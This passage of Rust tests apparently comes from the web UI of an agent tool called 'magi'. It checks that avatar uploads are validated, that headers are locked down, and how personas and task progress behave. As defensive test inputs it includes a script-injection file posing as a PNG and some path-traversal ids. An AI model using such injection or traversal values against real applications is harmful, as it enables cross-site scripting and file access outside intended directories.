15211        assert_eq!(view.talk.pending_messages[0].display, Some(display));
15212        assert_eq!(
15213            view.talk.turns[0].messages[0].sender,
15214            Some(talk::Sender::Magi)
15215        );
15216        assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
15217        conversation.completion_notices[0]
15218            .notice
15219            .push_str("different");
15220        let view = TalkView::with_config(conversation, false, None, &ui.home, &ui.references);
15221        assert!(view.talk.turns[0].messages.is_empty());
15222        assert!(view.talk.pending_messages.is_empty());
15223    }
15224
15225    #[tokio::test]
15226    async fn avatar_settings_report_states_and_inherit_after_corruption() {
15227        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15228        let (_tmp, home, ui, _, _) = avatar_fixture(&format!(
15229            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n"
15230        ))
15231        .await;
15232        let path = avatar_setting_path(home.path(), Some("rei"));
15233        let orphan = avatar_setting_path(home.path(), Some("removed"));
15234        save_icon_file(&orphan, icon).unwrap();
15235        for (saved, expected) in [
15236            (icon, "custom"),
15237            ("builtin", "builtin"),
15238            ("data:image/png;base64,!!!!", "inherit"),
15239            ("data:image/png;base64,PGh0bWw+", "inherit"),
15240            ("/tmp/avatar.png", "inherit"),
15241        ] {
15242            atomic_icon_write(&path, saved).unwrap();
15243            let catalog =
15244                avatar_settings_get(State(ui.clone()), Query(AvatarSettingsQuery::default()))
15245                    .await
15246                    .unwrap()
15247                    .0;
15248            let personas = catalog["personas"].as_array().unwrap();
15249            let rei = personas.iter().find(|p| p["id"] == "rei").unwrap();
15250            assert_eq!(rei["override_state"], expected);
15251            assert_eq!(rei["has_config_icon"], true);
15252            assert_eq!(rei["is_orphan"], false);
15253            let removed = personas.iter().find(|p| p["id"] == "removed").unwrap();
15254            assert_eq!(removed["override_state"], "custom");
15255            assert_eq!(removed["is_orphan"], true);
15256            let default = personas.iter().find(|p| p["id"] == "default").unwrap();
15257            assert_eq!(default["override_state"], "inherit");
15258            assert_eq!(default["has_config_icon"], false);
15259            let effective = effective_persona_icon(home.path(), "rei", Some(icon));
15260            assert_eq!(
15261                effective.as_deref(),
15262                Some(if expected == "builtin" { "" } else { icon })
15263            );
15264        }
15265    }
15266
15267    #[tokio::test]
15268    async fn avatar_settings_persist_reset_isolate_and_reject_invalid_images() {
15269        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15270        let (_tmp, home, ui, id, repo) = avatar_fixture(&format!(
15271            "[[talk.personas]]\nid = \"rei\"\nicon = \"{icon}\"\n\n[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Stay concise\"\n"
15272        ))
15273        .await;
15274        let target = |id: Option<&str>| AvatarSettingsQuery {
15275            persona: id.map(str::to_owned),
15276            ..Default::default()
15277        };
15278        let original_config = config_for(&repo).await.unwrap();
15279        let original_persona = persona::find(&original_config.talk.personas, "rei").unwrap();
15280        let original_prompt = persona::section_for(&original_persona, None);
15281        let before = talk_detail(State(ui.clone()), Path(id.clone()))
15282            .await
15283            .unwrap()
15284            .0;
15285        for persona in [None, Some("rei"), Some("magi"), Some("../custom/日本語")] {
15286            let _ = avatar_settings_put(
15287                State(ui.clone()),
15288                Query(target(persona)),
15289                Json(MagiIconUpload { icon: icon.into() }),
15290            )
15291            .await
15292            .unwrap();
15293            let path = avatar_setting_path(home.path(), persona);
15294            assert!(path.starts_with(home.path().join("avatars")));
15295            assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15296            for bad in [
15297                "/tmp/image.png".to_owned(),
15298                "data:image/png;base64,!!!!".to_owned(),
15299                "data:image/png;base64,PGh0bWw+".to_owned(),
15300                "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15301                format!(
15302                    "data:image/png;base64,{}",
15303                    "A".repeat(persona_icon::ICON_MAX_BYTES)
15304                ),
15305            ] {
15306                assert!(
15307                    avatar_settings_put(
15308                        State(ui.clone()),
15309                        Query(target(persona)),
15310                        Json(MagiIconUpload { icon: bad })
15311                    )
15312                    .await
15313                    .is_err()
15314                );
15315                assert_eq!(read_icon_file(&path).as_deref(), Some(icon));
15316            }
15317        }
15318        assert!(read_magi_icon(home.path()).is_none());
15319        assert!(effective_persona_icon(home.path(), "asuka", None).is_none());
15320        let after = talk_detail(State(ui.clone()), Path(id.clone()))
15321            .await
15322            .unwrap()
15323            .0;
15324        assert_ne!(before.view.operator_avatar, after.view.operator_avatar);
15325        assert_ne!(
15326            before
15327                .personas
15328                .iter()
15329                .find(|p| p.id == "magi")
15330                .unwrap()
15331                .avatar,
15332            after
15333                .personas
15334                .iter()
15335                .find(|p| p.id == "magi")
15336                .unwrap()
15337                .avatar
15338        );
15339        let restarted = Arc::new(Ui::new(
15340            Queue::at(home.path().join("queue")),
15341            Questions::at(home.path().join("questions")),
15342            Talks::at(home.path().join("talks")),
15343            home.path().join("runs"),
15344            home.path().to_owned(),
15345            repo,
15346        ));
15347        let catalog = avatar_settings_get(State(restarted.clone()), Query(target(None)))
15348            .await
15349            .unwrap()
15350            .0;
15351        assert!(
15352            catalog["personas"]
15353                .as_array()
15354                .unwrap()
15355                .iter()
15356                .any(|p| p["id"] == "../custom/日本語")
15357        );
15358        for expected in ["custom", "default", "rei"] {
15359            assert!(
15360                catalog["personas"]
15361                    .as_array()
15362                    .unwrap()
15363                    .iter()
15364                    .any(|p| p["id"] == expected)
15365            );
15366        }
15367        let response =
15368            operator_avatar(State(restarted.clone()), Query(AvatarQuery::default())).await;
15369        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15370        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(Some("rei"))))
15371            .await
15372            .unwrap();
15373        assert_eq!(
15374            effective_persona_icon(home.path(), "rei", Some(icon)),
15375            Some(String::new())
15376        );
15377        let response = talk_avatar(
15378            State(restarted.clone()),
15379            Path(id.clone()),
15380            Query(AvatarQuery {
15381                persona: Some("rei".into()),
15382                ..Default::default()
15383            }),
15384        )
15385        .await
15386        .unwrap();
15387        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/svg+xml");
15388        let reset = talk_detail(State(restarted.clone()), Path(id.clone()))
15389            .await
15390            .unwrap()
15391            .0;
15392        assert_ne!(
15393            after
15394                .personas
15395                .iter()
15396                .find(|p| p.id == "rei")
15397                .unwrap()
15398                .avatar,
15399            reset
15400                .personas
15401                .iter()
15402                .find(|p| p.id == "rei")
15403                .unwrap()
15404                .avatar
15405        );
15406        let mut inherit = target(Some("rei"));
15407        inherit.inherit = Some("1".into());
15408        let _ = avatar_settings_delete(State(restarted.clone()), Query(inherit))
15409            .await
15410            .unwrap();
15411        assert_eq!(
15412            effective_persona_icon(home.path(), "rei", Some(icon)).as_deref(),
15413            Some(icon)
15414        );
15415        let _ = avatar_settings_delete(State(restarted.clone()), Query(target(None)))
15416            .await
15417            .unwrap();
15418        assert_eq!(operator_icon_url(home.path()), before.view.operator_avatar);
15419        assert_eq!(
15420            read_icon_file(&avatar_setting_path(home.path(), Some("magi"))).as_deref(),
15421            Some(icon)
15422        );
15423        // Display changes never rewrite the conversation or its prompt-bearing config.
15424        let cfg = config_for(&ui.repo).await.unwrap();
15425        let resolved = persona::find(&cfg.talk.personas, "rei").unwrap();
15426        assert_eq!(persona::section_for(&resolved, None), original_prompt);
15427        assert!(!original_prompt.contains("data:image"));
15428        assert_eq!(ui.talks.get(&id).unwrap().persona, before.view.talk.persona);
15429        let stored = serde_json::to_string(&ui.talks.get(&id).unwrap()).unwrap();
15430        assert!(!stored.contains("data:image"));
15431        let mut orphan = ui.talks.get(&id).unwrap();
15432        orphan.persona = "../custom/日本語".into();
15433        let view = TalkView::with_config(
15434            orphan,
15435            false,
15436            Some(&cfg),
15437            home.path(),
15438            &id_links::IndexCache::default(),
15439        );
15440        assert!(view.persona_avatar.contains("persona=..%2Fcustom%2F"));
15441    }
15442
15443    #[tokio::test]
15444    async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
15445        let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
15446        let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15447        let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
15448        let _ = magi_icon_put(
15449            State(ui.clone()),
15450            Json(MagiIconUpload { icon: icon.into() }),
15451        )
15452        .await
15453        .unwrap();
15454        let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
15455        assert_ne!(original, changed);
15456        assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15457        let response = magi_avatar(
15458            State(ui.clone()),
15459            Query(AvatarQuery {
15460                persona: None,
15461                builtin: None,
15462            }),
15463        )
15464        .await;
15465        assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
15466        assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
15467        assert_eq!(
15468            response.headers()[header::X_CONTENT_TYPE_OPTIONS],
15469            "nosniff"
15470        );
15471        for bad in [
15472            "data:image/png;base64,PGh0bWw+".to_owned(),
15473            "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
15474            "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
15475        ] {
15476            assert!(save_magi_icon(home.path(), &bad).is_err());
15477            assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
15478        }
15479        // Re-opened server state reads the same independent home file.
15480        let restarted = Arc::new(Ui::new(
15481            Queue::at(home.path().join("queue")),
15482            Questions::at(home.path().join("questions")),
15483            Talks::at(home.path().join("talks")),
15484            home.path().join("runs"),
15485            home.path().to_path_buf(),
15486            repo,
15487        ));
15488        assert_eq!(
15489            magi_icon_get(State(restarted.clone())).await.0["avatar"],
15490            changed
15491        );
15492        let view = TalkView::with_config(
15493            restarted.talks.get(&id).unwrap(),
15494            false,
15495            None,
15496            &restarted.home,
15497            &restarted.references,
15498        );
15499        assert_eq!(view.magi_avatar, changed.as_str().unwrap());
15500        std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
15501        let response = magi_avatar(
15502            State(ui.clone()),
15503            Query(AvatarQuery {
15504                persona: None,
15505                builtin: None,
15506            }),
15507        )
15508        .await;
15509        let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
15510            .await
15511            .unwrap();
15512        assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
15513        let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
15514        assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
15515        let _ = magi_icon_delete(State(ui)).await.unwrap();
15516    }
15517
15518    /// `(status, content-type, nosniff, csp, body)` of one avatar request.
15519    async fn avatar(
15520        ui: &Arc<Ui>,
15521        id: &str,
15522        persona: Option<&str>,
15523        builtin: bool,
15524    ) -> (StatusCode, String, bool, bool, Vec<u8>) {
15525        let res = talk_avatar(
15526            State(Arc::clone(ui)),
15527            Path(id.to_owned()),
15528            Query(AvatarQuery {
15529                persona: persona.map(str::to_owned),
15530                builtin: builtin.then(|| "1".to_owned()),
15531            }),
15532        )
15533        .await
15534        .expect("an avatar is never an error response");
15535        let h = res.headers();
15536        let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
15537        let nosniff = h
15538            .get(header::X_CONTENT_TYPE_OPTIONS)
15539            .is_some_and(|v| v == "nosniff");
15540        let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
15541        let status = res.status();
15542        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15543            .await
15544            .expect("body")
15545            .to_vec();
15546        (status, ct, nosniff, csp, body)
15547    }
15548
15549    fn tiny_png() -> Vec<u8> {
15550        let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
15551        b.extend_from_slice(&[0u8; 32]);
15552        b
15553    }
15554
15555    #[tokio::test]
15556    async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
15557        let (_tmp, _home, ui, _id, _repo) = avatar_fixture("").await;
15558        let res = operator_avatar(State(ui), Query(AvatarQuery::default())).await;
15559        assert_eq!(res.status(), StatusCode::OK);
15560        assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
15561        assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
15562        assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
15563        assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
15564        let body = axum::body::to_bytes(res.into_body(), usize::MAX)
15565            .await
15566            .unwrap();
15567        assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
15568        assert_ne!(
15569            persona_icon::operator_svg(),
15570            persona_icon::builtin_svg("default")
15571        );
15572    }
15573
15574    #[tokio::test]
15575    async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
15576        let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
15577        for p in [
15578            "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
15579        ] {
15580            let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
15581            assert_eq!(status, StatusCode::OK, "{p}");
15582            assert_eq!(ct, "image/svg+xml", "{p}");
15583            assert!(nosniff && csp, "{p}");
15584            assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
15585        }
15586        // No `persona` means the conversation's own; unknown ones fall back.
15587        let own = avatar(&ui, &id, None, false).await;
15588        let default = avatar(&ui, &id, Some("default"), false).await;
15589        assert_eq!(own.4, default.4);
15590        let unknown = avatar(&ui, &id, Some("nobody"), false).await;
15591        assert_eq!(unknown.1, "image/svg+xml");
15592    }
15593
15594    #[tokio::test]
15595    async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
15596        let dir = TempDir::new().expect("icons");
15597        let good = dir.path().join("good.png");
15598        std::fs::write(&good, tiny_png()).unwrap();
15599        let spoof = dir.path().join("spoof.png");
15600        std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
15601        let big = dir.path().join("big.png");
15602        let mut bytes = tiny_png();
15603        bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
15604        std::fs::write(&big, bytes).unwrap();
15605        let missing = dir.path().join("missing.png");
15606        let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
15607        let extra = format!(
15608            "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
15609             [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
15610             [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
15611             [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
15612             [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
15613             [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
15614            uri(&good),
15615            uri(&spoof),
15616            uri(&big),
15617            uri(&missing),
15618        );
15619        let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15620
15621        let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
15622        assert_eq!(
15623            (status, ct.as_str(), nosniff),
15624            (StatusCode::OK, "image/png", true)
15625        );
15626        assert_eq!(body, tiny_png());
15627        let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
15628        assert_eq!(ct, "image/png", "data URI");
15629
15630        for p in ["misato", "asuka", "shinji", "magi"] {
15631            let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
15632            assert_eq!(
15633                (status, ct.as_str(), csp),
15634                (StatusCode::OK, "image/svg+xml", true),
15635                "{p}"
15636            );
15637            assert!(body.starts_with(b"<svg"), "{p}");
15638        }
15639        // The page's own retry skips the icon.
15640        let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
15641        assert_eq!(ct, "image/svg+xml");
15642    }
15643
15644    #[tokio::test]
15645    async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
15646        let oversized = format!(
15647            "data:image/png;base64,{}",
15648            "A".repeat(persona_icon::ICON_MAX_BYTES)
15649        );
15650        for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
15651            let extra = format!(
15652                "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
15653            );
15654            let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
15655            let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15656                .await
15657                .expect("detail with invalid icon");
15658            assert!(detail.personas.iter().any(|p| p.id == "custom"));
15659            let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
15660            assert_eq!(status, StatusCode::OK);
15661            assert_eq!(ct, "image/svg+xml");
15662            assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
15663            let Json(view) = talk_persona(
15664                State(Arc::clone(&ui)),
15665                Path(id.clone()),
15666                Json(TalkPersona {
15667                    persona: "custom".into(),
15668                }),
15669            )
15670            .await
15671            .expect("persona switch with invalid icon");
15672            assert_eq!(view.talk.persona, "custom");
15673            assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
15674        }
15675    }
15676
15677    #[tokio::test]
15678    async fn an_unreadable_config_still_gets_the_builtin_avatar() {
15679        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15680        std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
15681        let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
15682        assert_eq!(
15683            (status, ct.as_str(), nosniff, csp),
15684            (StatusCode::OK, "image/svg+xml", true, true)
15685        );
15686    }
15687
15688    #[tokio::test]
15689    async fn the_talk_view_carries_server_built_avatar_urls_only() {
15690        let (_t, _h, ui, id, _repo) =
15691            avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
15692        let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15693            .await
15694            .expect("detail");
15695        let json = serde_json::to_string(&detail).unwrap();
15696        assert!(
15697            !json.contains("secret"),
15698            "the icon setting must not leak: {json}"
15699        );
15700        assert!(
15701            detail
15702                .view
15703                .persona_avatar
15704                .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
15705        );
15706        assert_eq!(
15707            detail.view.operator_avatar,
15708            format!(
15709                "/avatars/operator.svg?v={}",
15710                persona_icon::fingerprint(Some(persona_icon::operator_svg()))
15711            )
15712        );
15713        assert!(!detail.personas.iter().any(|p| p.id == "operator"));
15714        let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
15715        let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
15716        assert!(rei.avatar.contains("persona=rei&v="));
15717        assert_ne!(
15718            rei.avatar.split("&v=").nth(1),
15719            plain.avatar.split("&v=").nth(1)
15720        );
15721    }
15722
15723    #[tokio::test]
15724    async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
15725        let (_t, _h, ui, id, repo) = avatar_fixture("").await;
15726        let cfg = config_for(&repo).await.unwrap();
15727        for arrived in [false, true] {
15728            let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
15729            let observed = ui.queued_generation(&id);
15730            let talk = ui.talks.get(&id).unwrap();
15731            if arrived {
15732                assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
15733            }
15734            let mut settling = std::pin::pin!(settle_settings_turn(
15735                talk,
15736                ui.talks.clone(),
15737                cfg.clone(),
15738                id.clone(),
15739                turn,
15740                observed
15741            ));
15742            let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
15743            let first = std::future::Future::poll(settling.as_mut(), &mut cx);
15744            assert_eq!(first.is_pending(), arrived);
15745            if arrived {
15746                assert!(!settling.await);
15747            }
15748            assert!(!ui.is_thinking(&id));
15749        }
15750    }
15751
15752    #[tokio::test]
15753    async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
15754        let tmp = TempDir::new().expect("tempdir");
15755        let repo = tmp.path().join("repo");
15756        std::fs::create_dir_all(&repo).expect("repo dir");
15757        std::fs::write(
15758            repo.join("magi.toml"),
15759            format!(
15760                "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
15761            ),
15762        )
15763        .expect("write magi.toml");
15764        let home = TempDir::new().expect("temp home");
15765        let talks = Talks::at(home.path().join("talks"));
15766        let ui = Arc::new(
15767            Ui::new(
15768                Queue::at(home.path().join("queue")),
15769                Questions::at(home.path().join("questions")),
15770                talks.clone(),
15771                home.path().join("runs"),
15772                home.path().to_path_buf(),
15773                repo.clone(),
15774            )
15775            .with_worktrees_root(home.path().join("wt")),
15776        );
15777        let cfg = config_for(&repo).await.expect("discover config");
15778        let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15779        let id = talk.id.clone();
15780        let call = |persona: &str| {
15781            talk_persona(
15782                State(Arc::clone(&ui)),
15783                Path(id.clone()),
15784                Json(TalkPersona {
15785                    persona: persona.to_owned(),
15786                }),
15787            )
15788        };
15789
15790        let unknown = call("nobody").await.expect_err("unknown persona");
15791        assert_eq!(
15792            unknown.status,
15793            StatusCode::BAD_REQUEST,
15794            "{}",
15795            unknown.message
15796        );
15797
15798        {
15799            // Nothing refused so far took a claim, so the guard is free to take
15800            // and holding it is what makes the talk busy.
15801            let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
15802            let busy = call("rei").await.expect_err("busy talk");
15803            assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
15804            assert!(
15805                busy.message.contains("a talk turn is running"),
15806                "{}",
15807                busy.message
15808            );
15809            drop(guard);
15810        }
15811        assert_eq!(talks.get(&id).expect("reload").persona, "");
15812
15813        let Json(view) = call("gendo").await.expect("switch to a configured persona");
15814        assert_eq!(view.talk.persona, "gendo");
15815        assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
15816        assert!(!ui.is_thinking(&id), "idle response must release the claim");
15817        // No intervening I/O or sleep may be needed before another change.
15818        for chosen in ["default", "gendo", "rei", "gendo"] {
15819            let Json(view) = call(chosen).await.expect("immediate consecutive change");
15820            assert!(!view.thinking);
15821            assert!(!ui.is_thinking(&id));
15822        }
15823
15824        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15825            .await
15826            .expect("detail");
15827        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15828        assert_eq!(ids.first(), Some(&"default"));
15829        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15830
15831        let Json(view) = call("default").await.expect("back to default");
15832        assert_eq!(view.talk.persona, "");
15833
15834        let mut closed = talks.get(&id).expect("reload");
15835        talk::close(&mut closed, &talks).expect("close");
15836        let refused = call("rei").await.expect_err("closed talk");
15837        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15838        assert!(
15839            refused.message.contains("takes no more turns"),
15840            "{}",
15841            refused.message
15842        );
15843    }
15844
15845    #[tokio::test]
15846    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15847        let f = Fixture::start().await;
15848        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15849        let queue = f.queue();
15850        let mut mine = Task::new(
15851            "rename the loader".to_owned(),
15852            "rename the loader".to_owned(),
15853            PathBuf::from("/repo/magi"),
15854            Source::Agent {
15855                run: talk_id.clone(),
15856                node: "chat".to_owned(),
15857            },
15858        );
15859        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15860        assert_eq!(empty["task_progress"]["state"], "none");
15861        assert_eq!(empty["task_progress"]["total"], 0);
15862        queue.put(&mut mine).expect("file the task");
15863        let mut theirs = Task::new(
15864            "unrelated".to_owned(),
15865            "unrelated".to_owned(),
15866            PathBuf::from("/repo/magi"),
15867            Source::Human,
15868        );
15869        // A later task linked through origin_chat alone is outside this list.
15870        theirs.origin_chat = Some(talk_id.clone());
15871        queue.put(&mut theirs).expect("file the task");
15872
15873        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15874        assert_eq!(res.status, 200, "{}", res.body);
15875        let body = res.json();
15876        assert_eq!(
15877            body["status"], "open",
15878            "filing a task does not close a talk"
15879        );
15880        let tasks = body["tasks"].as_array().expect("tasks array");
15881        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15882        assert_eq!(tasks[0]["id"], mine.id);
15883        for status in [
15884            TaskStatus::Queued,
15885            TaskStatus::Running,
15886            TaskStatus::Held,
15887            TaskStatus::Failed,
15888            TaskStatus::Blocked,
15889            TaskStatus::Parked,
15890            TaskStatus::Done,
15891            TaskStatus::Queued,
15892        ] {
15893            mine.status = status;
15894            queue.put(&mut mine).expect("update status");
15895            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15896            let progress = &detail["task_progress"];
15897            assert_eq!(progress["total"], 1);
15898            assert_eq!(progress["counts"][status.as_str()], 1);
15899            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15900            assert_eq!(detail["status"], "open", "completion never closes the chat");
15901            if status == TaskStatus::Done {
15902                assert_eq!(progress["state"], "complete");
15903                assert_eq!(progress["done"], 1);
15904                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15905            } else {
15906                assert_eq!(progress["state"], "incomplete");
15907                assert_eq!(progress["done"], 0);
15908                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15909            }
15910        }
15911    }
15912
15913    #[test]
15914    fn goal_link_uses_newest_valid_direct_run_and_prefers_task_targets() {
15915        let home = tempfile::tempdir().unwrap();
15916        let runs = home.path().join("runs");
15917        let queue = Queue::at(home.path().join("queue"));
15918        let talks = Talks::at(home.path().join("talks"));
15919        let config = stub_config();
15920        let repo = PathBuf::from("/repo/magi");
15921        let mut talk = talk::begin(&talks, &config, repo.clone(), Some("stub")).unwrap();
15922        let reserve_run = |repo| {
15923            let mut run = RunState::new(
15924                repo,
15925                "main".into(),
15926                "0000000".into(),
15927                "Follow the review".into(),
15928                config.clone(),
15929            );
15930            run.reserve_under(home.path()).unwrap();
15931            run
15932        };
15933        let older = reserve_run(repo.clone());
15934        let newer = reserve_run(repo.clone());
15935        let foreign = reserve_run(PathBuf::from("/repo/other"));
15936        let mismatched = reserve_run(repo.clone());
15937        let corrupt = reserve_run(repo.clone());
15938        let run_file = |id: &str| runs.join(id).join("run.json");
15939        std::fs::write(
15940            run_file(&mismatched.id),
15941            serde_json::to_vec(&older).unwrap(),
15942        )
15943        .unwrap();
15944        std::fs::write(run_file(&corrupt.id), b"not json").unwrap();
15945        let goal = |tasks: Vec<String>, runs: Vec<String>| {
15946            serde_json::from_value::<crate::chat_goal::Goal>(serde_json::json!({
15947                "id": "g", "purpose": "Follow the review", "scope": "review",
15948                "condition": {"description": "Owner reviews the result", "kind": "owner_review"},
15949                "state": "waiting", "step": "Follow the recorded review",
15950                "source_turn": 0, "owner_input": "Follow the review",
15951                "tasks": tasks, "runs": runs, "watches": [],
15952                "evidence": "Seeded durable goal", "wake": 1, "handled": 1,
15953                "started": null, "wakes": 0, "last_checked": null, "fingerprint": ""
15954            }))
15955            .unwrap()
15956        };
15957        let link = |talk: &Talk| talk_goal_link(talk, &queue, &runs).map(|l| (l.kind, l.id));
15958
15959        talk.goals = vec![goal(vec![], vec![older.id.clone(), newer.id.clone()])];
15960        assert_eq!(link(&talk), Some(("run", newer.id.clone())));
15961
15962        let unusable = vec![
15963            foreign.id.clone(),
15964            mismatched.id.clone(),
15965            corrupt.id.clone(),
15966            "missing".into(),
15967            "../escape".into(),
15968        ];
15969        let mut references = vec![older.id.clone()];
15970        references.extend(unusable.clone());
15971        talk.goals = vec![goal(vec![], references)];
15972        assert_eq!(link(&talk), Some(("run", older.id.clone())));
15973
15974        talk.goals = vec![goal(vec!["missing-task".into()], unusable)];
15975        assert_eq!(link(&talk), None);
15976
15977        let mut task = Task::new(
15978            "Review".into(),
15979            "Follow the review".into(),
15980            repo,
15981            Source::Human,
15982        );
15983        queue.put(&mut task).unwrap();
15984        talk.goals = vec![goal(vec![task.id.clone()], vec![newer.id.clone()])];
15985        assert_eq!(link(&talk), Some(("task", task.id.clone())));
15986
15987        task.runs.push(older.id.clone());
15988        queue.put(&mut task).unwrap();
15989        assert_eq!(link(&talk), Some(("run", older.id)));
15990    }
15991
15992    #[test]
15993    fn talk_task_progress_counts_mixed_statuses() {
15994        let mut tasks: Vec<_> = [
15995            TaskStatus::Queued,
15996            TaskStatus::Running,
15997            TaskStatus::Held,
15998            TaskStatus::Failed,
15999            TaskStatus::Blocked,
16000            TaskStatus::Parked,
16001            TaskStatus::Done,
16002        ]
16003        .into_iter()
16004        .map(|status| {
16005            let mut task = Task::new(
16006                "task".into(),
16007                "task".into(),
16008                PathBuf::from("/repo"),
16009                Source::Human,
16010            );
16011            task.status = status;
16012            task
16013        })
16014        .collect();
16015        let progress = talk_task_progress(&tasks);
16016        assert_eq!(progress.state, "incomplete");
16017        assert_eq!(progress.total, 7);
16018        assert_eq!(progress.done, 1);
16019        assert_eq!(progress.unfinished_ids.len(), 6);
16020        assert!(progress.counts.values().all(|count| *count == 1));
16021        assert_eq!(
16022            progress.unfinished_ids,
16023            tasks[..6]
16024                .iter()
16025                .map(|task| task.id.clone())
16026                .collect::<Vec<_>>()
16027        );
16028
16029        for task in &mut tasks {
16030            task.status = TaskStatus::Done;
16031        }
16032        let complete = talk_task_progress(&tasks);
16033        assert_eq!(complete.state, "complete");
16034        assert_eq!(complete.done, 7);
16035        assert!(complete.unfinished_ids.is_empty());
16036        tasks[0].status = TaskStatus::Queued;
16037        let requeued = talk_task_progress(&tasks);
